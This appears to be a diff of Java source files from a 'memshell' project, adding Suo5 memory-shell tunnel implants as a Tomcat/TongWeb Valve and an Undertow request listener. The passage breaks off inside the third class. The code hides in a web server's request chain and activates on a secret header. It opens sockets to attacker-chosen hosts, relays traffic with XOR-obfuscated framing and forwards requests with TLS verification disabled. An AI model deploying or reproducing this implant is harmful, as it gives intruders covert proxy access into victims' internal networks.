import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.*;
import java.net.*;
import java.nio.ByteBuffer;
import java.security.cert.CertificateException;
import java.security.cert.X509Certificate;
import java.util.Enumeration;
import java.util.HashMap;
/**
* @author ReaJason
*/
public class Suo5Valve6 implements Valve, Runnable, HostnameVerifier, X509TrustManager {
public static String headerName;
public static String headerValue;
public static HashMap addrs = collectAddr();
public static HashMap ctx = new HashMap();
InputStream gInStream;
OutputStream gOutStream;
protected Valve next;
protected boolean asyncSupported;
public Suo5Valve6() {
}
public Suo5Valve6(InputStream gInStream, OutputStream gOutStream) {
this.gInStream = gInStream;
this.gOutStream = gOutStream;
}
@Override
public String getInfo() {
return "";
}
@Override
public Valve getNext() {
return this.next;
}
@Override
public void setNext(Valve valve) {
this.next = valve;
}
@Override
public boolean isAsyncSupported() {
return this.asyncSupported;
}
@Override
public void backgroundProcess() {
}
@Override
public void event(Request var1, Response var2, CometEvent var3) throws IOException, ServletException {
}
@Override
@SuppressWarnings("all")
public void invoke(Request request, Response response) throws IOException, ServletException {
try {
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
String contentType = request.getContentType();
if (contentType == null) {
this.getNext().invoke(request, response);
return;
}
try {
if (contentType.equals("application/plain")) {
tryFullDuplex(request, response);
this.getNext().invoke(request, response);
return;
}
if (contentType.equals("application/octet-stream")) {
processDataBio(request, response);
} else {
processDataUnary(request, response);
}
} catch (Throwable e) {
// System.out.printf("process data error %s\n", e);
// e.printStackTrace();
}
} else {
this.getNext().invoke(request, response);
}
} catch (Exception e) {
e.printStackTrace();
this.getNext().invoke(request, response);
}
}
public void readFull(InputStream is, byte[] b) throws IOException, InterruptedException {
int bufferOffset = 0;
while (bufferOffset < b.length) {
int readLength = b.length - bufferOffset;
int readResult = is.read(b, bufferOffset, readLength);
if (readResult == -1) break;
bufferOffset += readResult;
}
}
public void tryFullDuplex(HttpServletRequest request, HttpServletResponse response) throws IOException, InterruptedException {
InputStream in = request.getInputStream();
byte[] data = new byte[32];
readFull(in, data);
OutputStream out = response.getOutputStream();
out.write(data);
out.flush();
}
private HashMap newCreate(byte s) {
HashMap m = new HashMap();
m.put("ac", new byte[]{0x04});
m.put("s", new byte[]{s});
return m;
}
private HashMap newData(byte[] data) {
HashMap m = new HashMap();
m.put("ac", new byte[]{0x01});
m.put("dt", data);
return m;
}
private HashMap newDel() {
HashMap m = new HashMap();
m.put("ac", new byte[]{0x02});
return m;
}
private HashMap newStatus(byte b) {
HashMap m = new HashMap();
m.put("s", new byte[]{b});
return m;
}
byte[] u32toBytes(int i) {
byte[] result = new byte[4];
result[0] = (byte) (i >> 24);
result[1] = (byte) (i >> 16);
result[2] = (byte) (i >> 8);
result[3] = (byte) (i /*>> 0*/);
return result;
}
int bytesToU32(byte[] bytes) {
return ((bytes[0] & 0xFF) << 24) |
((bytes[1] & 0xFF) << 16) |
((bytes[2] & 0xFF) << 8) |
((bytes[3] & 0xFF) << 0);
}
synchronized void put(String k, Object v) {
ctx.put(k, v);
}
synchronized Object get(String k) {
return ctx.get(k);
}
synchronized Object remove(String k) {
return ctx.remove(k);
}
byte[] copyOfRange(byte[] original, int from, int to) {
int newLength = to - from;
if (newLength < 0) {
throw new IllegalArgumentException(from + " > " + to);
}
byte[] copy = new byte[newLength];
int copyLength = Math.min(original.length - from, newLength);
// can't use System.arraycopy of Arrays.copyOf, there is no system in some environment
// System.arraycopy(original, from, copy, 0, copyLength);
for (int i = 0; i < copyLength; i++) {
copy[i] = original[from + i];
}
return copy;
}
private byte[] marshal(HashMap m) throws IOException {
ByteArrayOutputStream buf = new ByteArrayOutputStream();
Object[] keys = m.keySet().toArray();
for (int i = 0; i < keys.length; i++) {
String key = (String) keys[i];
byte[] value = (byte[]) m.get(key);
buf.write((byte) key.length());
buf.write(key.getBytes());
buf.write(u32toBytes(value.length));
buf.write(value);
}
byte[] data = buf.toByteArray();
ByteBuffer dbuf = ByteBuffer.allocate(5 + data.length);
dbuf.putInt(data.length);
// xor key
byte key = (byte) ((Math.random() * 255) + 1);
dbuf.put(key);
for (int i = 0; i < data.length; i++) {
data[i] = (byte) (data[i] ^ key);
}
dbuf.put(data);
return dbuf.array();
}
private HashMap unmarshal(InputStream in) throws Exception {
byte[] header = new byte[4 + 1]; // size and datatype
readFull(in, header);
// read full
ByteBuffer bb = ByteBuffer.wrap(header);
int len = bb.getInt();
int x = bb.get();
if (len > 1024 * 1024 * 32) {
throw new IOException("invalid len");
}
byte[] bs = new byte[len];
readFull(in, bs);
for (int i = 0; i < bs.length; i++) {
bs[i] = (byte) (bs[i] ^ x);
}
HashMap m = new HashMap();
byte[] buf;
for (int i = 0; i < bs.length - 1; ) {
short kLen = bs[i];
i += 1;
if (i + kLen >= bs.length) {
throw new Exception("key len error");
}
if (kLen < 0) {
throw new Exception("key len error");
}
buf = copyOfRange(bs, i, i + kLen);
String key = new String(buf);
i += kLen;
if (i + 4 >= bs.length) {
throw new Exception("value len error");
}
buf = copyOfRange(bs, i, i + 4);
int vLen = bytesToU32(buf);
i += 4;
if (vLen < 0) {
throw new Exception("value error");
}
if (i + vLen > bs.length) {
throw new Exception("value error");
}
byte[] value = copyOfRange(bs, i, i + vLen);
i += vLen;
m.put(key, value);
}
return m;
}
private void processDataBio(HttpServletRequest request, HttpServletResponse resp) throws Exception {
final InputStream reqInputStream = request.getInputStream();
HashMap dataMap = unmarshal(reqInputStream);
byte[] action = (byte[]) dataMap.get("ac");
if (action.length != 1 || action[0] != 0x00) {
resp.setStatus(403);
return;
}
resp.setBufferSize(512);
final OutputStream respOutStream = resp.getOutputStream();
// 0x00 create socket
resp.setHeader("X-Accel-Buffering", "no");
Socket sc;
try {
String host = new String((byte[]) dataMap.get("h"));
int port = Integer.parseInt(new String((byte[]) dataMap.get("p")));
if (port == 0) {
try {
// Cannot convert Integer to int
port = ((Integer) request.getClass().getMethod("getLocalPort", new Class[]{}).invoke(request, new Object[]{})).intValue();
} catch (Exception e) {
port = ((Integer) request.getClass().getMethod("getServerPort", new Class[]{}).invoke(request, new Object[]{})).intValue();
}
}
sc = new Socket();
sc.connect(new InetSocketAddress(host, port), 5000);
} catch (Exception e) {
respOutStream.write(marshal(newStatus((byte) 0x01)));
respOutStream.flush();
respOutStream.close();
return;
}
respOutStream.write(marshal(newStatus((byte) 0x00)));
respOutStream.flush();
resp.flushBuffer();
final OutputStream scOutStream = sc.getOutputStream();
final InputStream scInStream = sc.getInputStream();
Thread t = null;
try {
Suo5Valve6 p = new Suo5Valve6(scInStream, respOutStream);
t = new Thread(p);
t.start();
readReq(reqInputStream, scOutStream);
} catch (Exception e) {
// System.out.printf("pipe error, %s\n", e);
} finally {
sc.close();
respOutStream.close();
if (t != null) {
t.join();
}
}
}
private void readSocket(InputStream inputStream, OutputStream outputStream, boolean needMarshal) throws IOException {
byte[] readBuf = new byte[1024 * 8];
while (true) {
int n = inputStream.read(readBuf);
if (n <= 0) {
break;
}
byte[] dataTmp = copyOfRange(readBuf, 0, 0 + n);
if (needMarshal) {
dataTmp = marshal(newData(dataTmp));
}
outputStream.write(dataTmp);
outputStream.flush();
}
}
private void readReq(InputStream bufInputStream, OutputStream socketOutStream) throws Exception {
while (true) {
HashMap dataMap;
dataMap = unmarshal(bufInputStream);
byte[] actions = (byte[]) dataMap.get("ac");
if (actions.length != 1) {
return;
}
byte action = actions[0];
if (action == 0x02) {
socketOutStream.close();
return;
} else if (action == 0x01) {
byte[] data = (byte[]) dataMap.get("dt");
if (data.length != 0) {
socketOutStream.write(data);
socketOutStream.flush();
}
} else if (action == 0x03) {
continue;
} else {
return;
}
}
}
private void processDataUnary(HttpServletRequest request, HttpServletResponse resp) throws
Exception {
InputStream is = request.getInputStream();
BufferedInputStream reader = new BufferedInputStream(is);
HashMap dataMap;
dataMap = unmarshal(reader);
String clientId = new String((byte[]) dataMap.get("id"));
byte[] actions = (byte[]) dataMap.get("ac");
if (actions.length != 1) {
resp.setStatus(403);
return;
}
/*
ActionCreate byte = 0x00
ActionData byte = 0x01
ActionDelete byte = 0x02
ActionHeartbeat byte = 0x03
*/
byte action = actions[0];
byte[] redirectData = (byte[]) dataMap.get("r");
boolean needRedirect = redirectData != null && redirectData.length > 0;
String redirectUrl = "";
if (needRedirect) {
dataMap.remove("r");
redirectUrl = new String(redirectData);
needRedirect = !isLocalAddr(redirectUrl);
}
// load balance, send request with data to request url
// action 0x00 need to pipe, see below
if (needRedirect && action >= 0x01 && action <= 0x03) {
HttpURLConnection conn = redirect(request, dataMap, redirectUrl);
conn.disconnect();
return;
}
resp.setBufferSize(512);
OutputStream respOutStream = resp.getOutputStream();
if (action == 0x02) {
Object o = this.get(clientId);
if (o == null) return;
OutputStream scOutStream = (OutputStream) o;
scOutStream.close();
return;
} else if (action == 0x01) {
Object o = this.get(clientId);
if (o == null) {
respOutStream.write(marshal(newDel()));
respOutStream.flush();
respOutStream.close();
return;
}
OutputStream scOutStream = (OutputStream) o;
byte[] data = (byte[]) dataMap.get("dt");
if (data.length != 0) {
scOutStream.write(data);
scOutStream.flush();
}
respOutStream.close();
return;
} else {
}
if (action != 0x00) {
return;
}
// 0x00 create new tunnel
resp.setHeader("X-Accel-Buffering", "no");
String host = new String((byte[]) dataMap.get("h"));
int port = Integer.parseInt(new String((byte[]) dataMap.get("p")));
if (port == 0) {
try {
port = ((Integer) request.getClass().getMethod("getLocalPort", new Class[]{}).invoke(request, new Object[]{})).intValue();
} catch (Exception e) {
port = ((Integer) request.getClass().getMethod("getServerPort", new Class[]{}).invoke(request, new Object[]{})).intValue();
}
}
InputStream readFrom;
Socket sc = null;
HttpURLConnection conn = null;
if (needRedirect) {
// pipe redirect stream and current response body
conn = redirect(request, dataMap, redirectUrl);
readFrom = conn.getInputStream();
} else {
// pipe socket stream and current response body
try {
sc = new Socket();
sc.connect(new InetSocketAddress(host, port), 5000);
readFrom = sc.getInputStream();
this.put(clientId, sc.getOutputStream());
respOutStream.write(marshal(newStatus((byte) 0x00)));
respOutStream.flush();
resp.flushBuffer();
} catch (Exception e) {
// System.out.printf("connect error %s\n", e);
// e.printStackTrace();
this.remove(clientId);
respOutStream.write(marshal(newStatus((byte) 0x01)));
respOutStream.flush();
respOutStream.close();
return;
}
}
try {
readSocket(readFrom, respOutStream, !needRedirect);
} catch (Exception e) {
// System.out.println("socket error " + e.toString());
// e.printStackTrace();
} finally {
if (sc != null) {
sc.close();
}
if (conn != null) {
conn.disconnect();
}
respOutStream.close();
this.remove(clientId);
}
}
public void run() {
try {
readSocket(gInStream, gOutStream, true);
} catch (Exception e) {
// System.out.printf("read socket error, %s\n", e);
// e.printStackTrace();
}
}
static HashMap collectAddr() {
HashMap addrs = new HashMap();
try {
Enumeration nifs = NetworkInterface.getNetworkInterfaces();
while (nifs.hasMoreElements()) {
NetworkInterface nif = (NetworkInterface) nifs.nextElement();
Enumeration addresses = nif.getInetAddresses();
while (addresses.hasMoreElements()) {
InetAddress addr = (InetAddress) addresses.nextElement();
String s = addr.getHostAddress();
if (s != null) {
// fe80:0:0:0:fb0d:5776:2d7c:da24%wlan4 strip %wlan4
int ifaceIndex = s.indexOf('%');
if (ifaceIndex != -1) {
s = s.substring(0, ifaceIndex);
}
addrs.put((Object) s, (Object) Boolean.TRUE);
}
}
}
} catch (Exception e) {
// System.out.printf("read socket error, %s\n", e);
// e.printStackTrace();
}
return addrs;
}
boolean isLocalAddr(String url) throws Exception {
String ip = (new URL(url)).getHost();
return addrs.containsKey(ip);
}
HttpURLConnection redirect(HttpServletRequest request, HashMap dataMap, String rUrl) throws Exception {
String method = request.getMethod();
URL u = new URL(rUrl);
HttpURLConnection conn = (HttpURLConnection) u.openConnection();
conn.setRequestMethod(method);
try {
// conn.setConnectTimeout(3000);
conn.getClass().getMethod("setConnectTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(3000)});
// conn.setReadTimeout(0);
conn.getClass().getMethod("setReadTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(0)});
} catch (Exception e) {
// java1.4
}
conn.setDoOutput(true);
conn.setDoInput(true);
// ignore ssl verify
// ref: https://github.com/L-codes/Neo-reGeorg/blob/master/templates/NeoreGeorg.java
if (HttpsURLConnection.class.isInstance(conn)) {
((HttpsURLConnection) conn).setHostnameVerifier(this);
SSLContext sslCtx = SSLContext.getInstance("SSL");
sslCtx.init(null, new TrustManager[]{this}, null);
((HttpsURLConnection) conn).setSSLSocketFactory(sslCtx.getSocketFactory());
}
byte[] newBody = marshal(dataMap);
Enumeration headers = request.getHeaderNames();
while (headers.hasMoreElements()) {
String k = (String) headers.nextElement();
if (k.equals("Content-Length")) {
conn.setRequestProperty(k, String.valueOf(newBody.length));
continue;
} else if (k.equals("Host")) {
conn.setRequestProperty(k, u.getHost());
continue;
} else if (k.equals("Connection")) {
conn.setRequestProperty(k, "close");
continue;
} else if (k.equals("Content-Encoding") || k.equals("Transfer-Encoding")) {
continue;
} else {
conn.setRequestProperty(k, request.getHeader(k));
}
}
OutputStream rout = conn.getOutputStream();
rout.write(newBody);
rout.flush();
rout.close();
conn.getResponseCode();
return conn;
}
public boolean verify(String hostname, SSLSession session) {
return true;
}
public void checkClientTrusted(X509Certificate[] chain, String authType) throws CertificateException {
}
public void checkServerTrusted(X509Certificate[] chain, String authType) throws CertificateException {
}
public X509Certificate[] getAcceptedIssuers() {
return new X509Certificate[0];
}
}
@@ -0,0 +1,595 @@
package com.reajason.javaweb.memshell.tongweb.suo5;
import com.tongweb.catalina.Valve;
import com.tongweb.catalina.connector.Request;
import com.tongweb.catalina.connector.Response;
import javax.net.ssl.*;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.*;
import java.net.*;
import java.nio.ByteBuffer;
import java.security.cert.CertificateException;
import java.security.cert.X509Certificate;
import java.util.Enumeration;
import java.util.HashMap;
/**
* @author ReaJason
*/
public class Suo5Valve7 implements Valve, Runnable, HostnameVerifier, X509TrustManager {
public static String headerName;
public static String headerValue;
public static HashMap addrs = collectAddr();
public static HashMap ctx = new HashMap();
InputStream gInStream;
OutputStream gOutStream;
protected Valve next;
protected boolean asyncSupported;
public Suo5Valve7() {
}
public Suo5Valve7(InputStream gInStream, OutputStream gOutStream) {
this.gInStream = gInStream;
this.gOutStream = gOutStream;
}
@Override
public Valve getNext() {
return this.next;
}
@Override
public void setNext(Valve valve) {
this.next = valve;
}
@Override
public boolean isAsyncSupported() {
return this.asyncSupported;
}
@Override
public void backgroundProcess() {
}
@Override
@SuppressWarnings("all")
public void invoke(Request request, Response response) throws IOException, ServletException {
try {
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
String contentType = request.getContentType();
if (contentType == null) {
this.getNext().invoke(request, response);
return;
}
try {
if (contentType.equals("application/plain")) {
tryFullDuplex(request, response);
this.getNext().invoke(request, response);
return;
}
if (contentType.equals("application/octet-stream")) {
processDataBio(request, response);
} else {
processDataUnary(request, response);
}
} catch (Throwable e) {
// System.out.printf("process data error %s\n", e);
// e.printStackTrace();
}
} else {
this.getNext().invoke(request, response);
}
} catch (Exception e) {
e.printStackTrace();
this.getNext().invoke(request, response);
}
}
public void readFull(InputStream is, byte[] b) throws IOException, InterruptedException {
int bufferOffset = 0;
while (bufferOffset < b.length) {
int readLength = b.length - bufferOffset;
int readResult = is.read(b, bufferOffset, readLength);
if (readResult == -1) break;
bufferOffset += readResult;
}
}
public void tryFullDuplex(HttpServletRequest request, HttpServletResponse response) throws IOException, InterruptedException {
InputStream in = request.getInputStream();
byte[] data = new byte[32];
readFull(in, data);
OutputStream out = response.getOutputStream();
out.write(data);
out.flush();
}
private HashMap newCreate(byte s) {
HashMap m = new HashMap();
m.put("ac", new byte[]{0x04});
m.put("s", new byte[]{s});
return m;
}
private HashMap newData(byte[] data) {
HashMap m = new HashMap();
m.put("ac", new byte[]{0x01});
m.put("dt", data);
return m;
}
private HashMap newDel() {
HashMap m = new HashMap();
m.put("ac", new byte[]{0x02});
return m;
}
private HashMap newStatus(byte b) {
HashMap m = new HashMap();
m.put("s", new byte[]{b});
return m;
}
byte[] u32toBytes(int i) {
byte[] result = new byte[4];
result[0] = (byte) (i >> 24);
result[1] = (byte) (i >> 16);
result[2] = (byte) (i >> 8);
result[3] = (byte) (i /*>> 0*/);
return result;
}
int bytesToU32(byte[] bytes) {
return ((bytes[0] & 0xFF) << 24) |
((bytes[1] & 0xFF) << 16) |
((bytes[2] & 0xFF) << 8) |
((bytes[3] & 0xFF) << 0);
}
synchronized void put(String k, Object v) {
ctx.put(k, v);
}
synchronized Object get(String k) {
return ctx.get(k);
}
synchronized Object remove(String k) {
return ctx.remove(k);
}
byte[] copyOfRange(byte[] original, int from, int to) {
int newLength = to - from;
if (newLength < 0) {
throw new IllegalArgumentException(from + " > " + to);
}
byte[] copy = new byte[newLength];
int copyLength = Math.min(original.length - from, newLength);
// can't use System.arraycopy of Arrays.copyOf, there is no system in some environment
// System.arraycopy(original, from, copy, 0, copyLength);
for (int i = 0; i < copyLength; i++) {
copy[i] = original[from + i];
}
return copy;
}
private byte[] marshal(HashMap m) throws IOException {
ByteArrayOutputStream buf = new ByteArrayOutputStream();
Object[] keys = m.keySet().toArray();
for (int i = 0; i < keys.length; i++) {
String key = (String) keys[i];
byte[] value = (byte[]) m.get(key);
buf.write((byte) key.length());
buf.write(key.getBytes());
buf.write(u32toBytes(value.length));
buf.write(value);
}
byte[] data = buf.toByteArray();
ByteBuffer dbuf = ByteBuffer.allocate(5 + data.length);
dbuf.putInt(data.length);
// xor key
byte key = (byte) ((Math.random() * 255) + 1);
dbuf.put(key);
for (int i = 0; i < data.length; i++) {
data[i] = (byte) (data[i] ^ key);
}
dbuf.put(data);
return dbuf.array();
}
private HashMap unmarshal(InputStream in) throws Exception {
byte[] header = new byte[4 + 1]; // size and datatype
readFull(in, header);
// read full
ByteBuffer bb = ByteBuffer.wrap(header);
int len = bb.getInt();
int x = bb.get();
if (len > 1024 * 1024 * 32) {
throw new IOException("invalid len");
}
byte[] bs = new byte[len];
readFull(in, bs);
for (int i = 0; i < bs.length; i++) {
bs[i] = (byte) (bs[i] ^ x);
}
HashMap m = new HashMap();
byte[] buf;
for (int i = 0; i < bs.length - 1; ) {
short kLen = bs[i];
i += 1;
if (i + kLen >= bs.length) {
throw new Exception("key len error");
}
if (kLen < 0) {
throw new Exception("key len error");
}
buf = copyOfRange(bs, i, i + kLen);
String key = new String(buf);
i += kLen;
if (i + 4 >= bs.length) {
throw new Exception("value len error");
}
buf = copyOfRange(bs, i, i + 4);
int vLen = bytesToU32(buf);
i += 4;
if (vLen < 0) {
throw new Exception("value error");
}
if (i + vLen > bs.length) {
throw new Exception("value error");
}
byte[] value = copyOfRange(bs, i, i + vLen);
i += vLen;
m.put(key, value);
}
return m;
}
private void processDataBio(HttpServletRequest request, HttpServletResponse resp) throws Exception {
final InputStream reqInputStream = request.getInputStream();
HashMap dataMap = unmarshal(reqInputStream);
byte[] action = (byte[]) dataMap.get("ac");
if (action.length != 1 || action[0] != 0x00) {
resp.setStatus(403);
return;
}
resp.setBufferSize(512);
final OutputStream respOutStream = resp.getOutputStream();
// 0x00 create socket
resp.setHeader("X-Accel-Buffering", "no");
Socket sc;
try {
String host = new String((byte[]) dataMap.get("h"));
int port = Integer.parseInt(new String((byte[]) dataMap.get("p")));
if (port == 0) {
try {
// Cannot convert Integer to int
port = ((Integer) request.getClass().getMethod("getLocalPort", new Class[]{}).invoke(request, new Object[]{})).intValue();
} catch (Exception e) {
port = ((Integer) request.getClass().getMethod("getServerPort", new Class[]{}).invoke(request, new Object[]{})).intValue();
}
}
sc = new Socket();
sc.connect(new InetSocketAddress(host, port), 5000);
} catch (Exception e) {
respOutStream.write(marshal(newStatus((byte) 0x01)));
respOutStream.flush();
respOutStream.close();
return;
}
respOutStream.write(marshal(newStatus((byte) 0x00)));
respOutStream.flush();
resp.flushBuffer();
final OutputStream scOutStream = sc.getOutputStream();
final InputStream scInStream = sc.getInputStream();
Thread t = null;
try {
Suo5Valve7 p = new Suo5Valve7(scInStream, respOutStream);
t = new Thread(p);
t.start();
readReq(reqInputStream, scOutStream);
} catch (Exception e) {
// System.out.printf("pipe error, %s\n", e);
} finally {
sc.close();
respOutStream.close();
if (t != null) {
t.join();
}
}
}
private void readSocket(InputStream inputStream, OutputStream outputStream, boolean needMarshal) throws IOException {
byte[] readBuf = new byte[1024 * 8];
while (true) {
int n = inputStream.read(readBuf);
if (n <= 0) {
break;
}
byte[] dataTmp = copyOfRange(readBuf, 0, 0 + n);
if (needMarshal) {
dataTmp = marshal(newData(dataTmp));
}
outputStream.write(dataTmp);
outputStream.flush();
}
}
private void readReq(InputStream bufInputStream, OutputStream socketOutStream) throws Exception {
while (true) {
HashMap dataMap;
dataMap = unmarshal(bufInputStream);
byte[] actions = (byte[]) dataMap.get("ac");
if (actions.length != 1) {
return;
}
byte action = actions[0];
if (action == 0x02) {
socketOutStream.close();
return;
} else if (action == 0x01) {
byte[] data = (byte[]) dataMap.get("dt");
if (data.length != 0) {
socketOutStream.write(data);
socketOutStream.flush();
}
} else if (action == 0x03) {
continue;
} else {
return;
}
}
}
private void processDataUnary(HttpServletRequest request, HttpServletResponse resp) throws
Exception {
InputStream is = request.getInputStream();
BufferedInputStream reader = new BufferedInputStream(is);
HashMap dataMap;
dataMap = unmarshal(reader);
String clientId = new String((byte[]) dataMap.get("id"));
byte[] actions = (byte[]) dataMap.get("ac");
if (actions.length != 1) {
resp.setStatus(403);
return;
}
/*
ActionCreate byte = 0x00
ActionData byte = 0x01
ActionDelete byte = 0x02
ActionHeartbeat byte = 0x03
*/
byte action = actions[0];
byte[] redirectData = (byte[]) dataMap.get("r");
boolean needRedirect = redirectData != null && redirectData.length > 0;
String redirectUrl = "";
if (needRedirect) {
dataMap.remove("r");
redirectUrl = new String(redirectData);
needRedirect = !isLocalAddr(redirectUrl);
}
// load balance, send request with data to request url
// action 0x00 need to pipe, see below
if (needRedirect && action >= 0x01 && action <= 0x03) {
HttpURLConnection conn = redirect(request, dataMap, redirectUrl);
conn.disconnect();
return;
}
resp.setBufferSize(512);
OutputStream respOutStream = resp.getOutputStream();
if (action == 0x02) {
Object o = this.get(clientId);
if (o == null) return;
OutputStream scOutStream = (OutputStream) o;
scOutStream.close();
return;
} else if (action == 0x01) {
Object o = this.get(clientId);
if (o == null) {
respOutStream.write(marshal(newDel()));
respOutStream.flush();
respOutStream.close();
return;
}
OutputStream scOutStream = (OutputStream) o;
byte[] data = (byte[]) dataMap.get("dt");
if (data.length != 0) {
scOutStream.write(data);
scOutStream.flush();
}
respOutStream.close();
return;
} else {
}
if (action != 0x00) {
return;
}
// 0x00 create new tunnel
resp.setHeader("X-Accel-Buffering", "no");
String host = new String((byte[]) dataMap.get("h"));
int port = Integer.parseInt(new String((byte[]) dataMap.get("p")));
if (port == 0) {
try {
port = ((Integer) request.getClass().getMethod("getLocalPort", new Class[]{}).invoke(request, new Object[]{})).intValue();
} catch (Exception e) {
port = ((Integer) request.getClass().getMethod("getServerPort", new Class[]{}).invoke(request, new Object[]{})).intValue();
}
}
InputStream readFrom;
Socket sc = null;
HttpURLConnection conn = null;
if (needRedirect) {
// pipe redirect stream and current response body
conn = redirect(request, dataMap, redirectUrl);
readFrom = conn.getInputStream();
} else {
// pipe socket stream and current response body
try {
sc = new Socket();
sc.connect(new InetSocketAddress(host, port), 5000);
readFrom = sc.getInputStream();
this.put(clientId, sc.getOutputStream());
respOutStream.write(marshal(newStatus((byte) 0x00)));
respOutStream.flush();
resp.flushBuffer();
} catch (Exception e) {
// System.out.printf("connect error %s\n", e);
// e.printStackTrace();
this.remove(clientId);
respOutStream.write(marshal(newStatus((byte) 0x01)));
respOutStream.flush();
respOutStream.close();
return;
}
}
try {
readSocket(readFrom, respOutStream, !needRedirect);
} catch (Exception e) {
// System.out.println("socket error " + e.toString());
// e.printStackTrace();
} finally {
if (sc != null) {
sc.close();
}
if (conn != null) {
conn.disconnect();
}
respOutStream.close();
this.remove(clientId);
}
}
public void run() {
try {
readSocket(gInStream, gOutStream, true);
} catch (Exception e) {
// System.out.printf("read socket error, %s\n", e);
// e.printStackTrace();
}
}
static HashMap collectAddr() {
HashMap addrs = new HashMap();
try {
Enumeration nifs = NetworkInterface.getNetworkInterfaces();
while (nifs.hasMoreElements()) {
NetworkInterface nif = (NetworkInterface) nifs.nextElement();
Enumeration addresses = nif.getInetAddresses();
while (addresses.hasMoreElements()) {
InetAddress addr = (InetAddress) addresses.nextElement();
String s = addr.getHostAddress();
if (s != null) {
// fe80:0:0:0:fb0d:5776:2d7c:da24%wlan4 strip %wlan4
int ifaceIndex = s.indexOf('%');
if (ifaceIndex != -1) {
s = s.substring(0, ifaceIndex);
}
addrs.put((Object) s, (Object) Boolean.TRUE);
}
}
}
} catch (Exception e) {
// System.out.printf("read socket error, %s\n", e);
// e.printStackTrace();
}
return addrs;
}
boolean isLocalAddr(String url) throws Exception {
String ip = (new URL(url)).getHost();
return addrs.containsKey(ip);
}
HttpURLConnection redirect(HttpServletRequest request, HashMap dataMap, String rUrl) throws Exception {
String method = request.getMethod();
URL u = new URL(rUrl);
HttpURLConnection conn = (HttpURLConnection) u.openConnection();
conn.setRequestMethod(method);
try {
// conn.setConnectTimeout(3000);
conn.getClass().getMethod("setConnectTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(3000)});
// conn.setReadTimeout(0);
conn.getClass().getMethod("setReadTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(0)});
} catch (Exception e) {
// java1.4
}
conn.setDoOutput(true);
conn.setDoInput(true);
// ignore ssl verify
// ref: https://github.com/L-codes/Neo-reGeorg/blob/master/templates/NeoreGeorg.java
if (HttpsURLConnection.class.isInstance(conn)) {
((HttpsURLConnection) conn).setHostnameVerifier(this);
SSLContext sslCtx = SSLContext.getInstance("SSL");
sslCtx.init(null, new TrustManager[]{this}, null);
((HttpsURLConnection) conn).setSSLSocketFactory(sslCtx.getSocketFactory());
}
byte[] newBody = marshal(dataMap);
Enumeration headers = request.getHeaderNames();
while (headers.hasMoreElements()) {
String k = (String) headers.nextElement();
if (k.equals("Content-Length")) {
conn.setRequestProperty(k, String.valueOf(newBody.length));
continue;
} else if (k.equals("Host")) {
conn.setRequestProperty(k, u.getHost());
continue;
} else if (k.equals("Connection")) {
conn.setRequestProperty(k, "close");
continue;
} else if (k.equals("Content-Encoding") || k.equals("Transfer-Encoding")) {
continue;
} else {
conn.setRequestProperty(k, request.getHeader(k));
}
}
OutputStream rout = conn.getOutputStream();
rout.write(newBody);
rout.flush();
rout.close();
conn.getResponseCode();
return conn;
}
public boolean verify(String hostname, SSLSession session) {
return true;
}
public void checkClientTrusted(X509Certificate[] chain, String authType) throws CertificateException {
}
public void checkServerTrusted(X509Certificate[] chain, String authType) throws CertificateException {
}
public X509Certificate[] getAcceptedIssuers() {
return new X509Certificate[0];
}
}
@@ -0,0 +1,607 @@
package com.reajason.javaweb.memshell.undertow.suo5;
import javax.net.ssl.*;
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.*;
import java.lang.reflect.Field;
import java.net.*;
import java.nio.ByteBuffer;
import java.security.cert.CertificateException;
import java.security.cert.X509Certificate;
import java.util.Enumeration;
import java.util.HashMap;
import java.util.Map;
/**
* @author ReaJason
* @since 2024/12/15
*/
public class Suo5Listener implements ServletRequestListener, Runnable, HostnameVerifier, X509TrustManager {
public static String headerName;
public static String headerValue;
public static HashMap addrs = collectAddr();
public static HashMap ctx = new HashMap();
InputStream gInStream;
OutputStream gOutStream;
public Suo5Listener() {
}
public Suo5Listener(InputStream in, OutputStream out) {
this.gInStream = in;
this.gOutStream = out;
}
public void readFull(InputStream is, byte[] b) throws IOException, InterruptedException {
int bufferOffset = 0;
while (bufferOffset < b.length) {
int readLength = b.length - bufferOffset;
int readResult = is.read(b, bufferOffset, readLength);
if (readResult == -1) break;
bufferOffset += readResult;
}
}
public void tryFullDuplex(HttpServletRequest request, HttpServletResponse response) throws IOException, InterruptedException {
InputStream in = request.getInputStream();
byte[] data = new byte[32];
readFull(in, data);
OutputStream out = response.getOutputStream();
out.write(data);
out.flush();
}
private HashMap newCreate(byte s) {
HashMap m = new HashMap();
m.put("ac", new byte[]{0x04});
m.put("s", new byte[]{s});
return m;
}
private HashMap newData(byte[] data) {
HashMap m = new HashMap();
m.put("ac", new byte[]{0x01});
m.put("dt", data);
return m;
}
private HashMap newDel() {
HashMap m = new HashMap();
m.put("ac", new byte[]{0x02});
return m;
}
private HashMap newStatus(byte b) {
HashMap m = new HashMap();
m.put("s", new byte[]{b});
return m;
}
byte[] u32toBytes(int i) {
byte[] result = new byte[4];
result[0] = (byte) (i >> 24);
result[1] = (byte) (i >> 16);
result[2] = (byte) (i >> 8);
result[3] = (byte) (i /*>> 0*/);
return result;
}
int bytesToU32(byte[] bytes) {
return ((bytes[0] & 0xFF) << 24) |
((bytes[1] & 0xFF) << 16) |
((bytes[2] & 0xFF) << 8) |
((bytes[3] & 0xFF) << 0);
}
synchronized void put(String k, Object v) {
ctx.put(k, v);
}
synchronized Object get(String k) {
return ctx.get(k);
}
synchronized Object remove(String k) {
return ctx.remove(k);
}
byte[] copyOfRange(byte[] original, int from, int to) {
int newLength = to - from;
if (newLength < 0) {
throw new IllegalArgumentException(from + " > " + to);
}
byte[] copy = new byte[newLength];
int copyLength = Math.min(original.length - from, newLength);
// can't use System.arraycopy of Arrays.copyOf, there is no system in some environment
// System.arraycopy(original, from, copy, 0, copyLength);
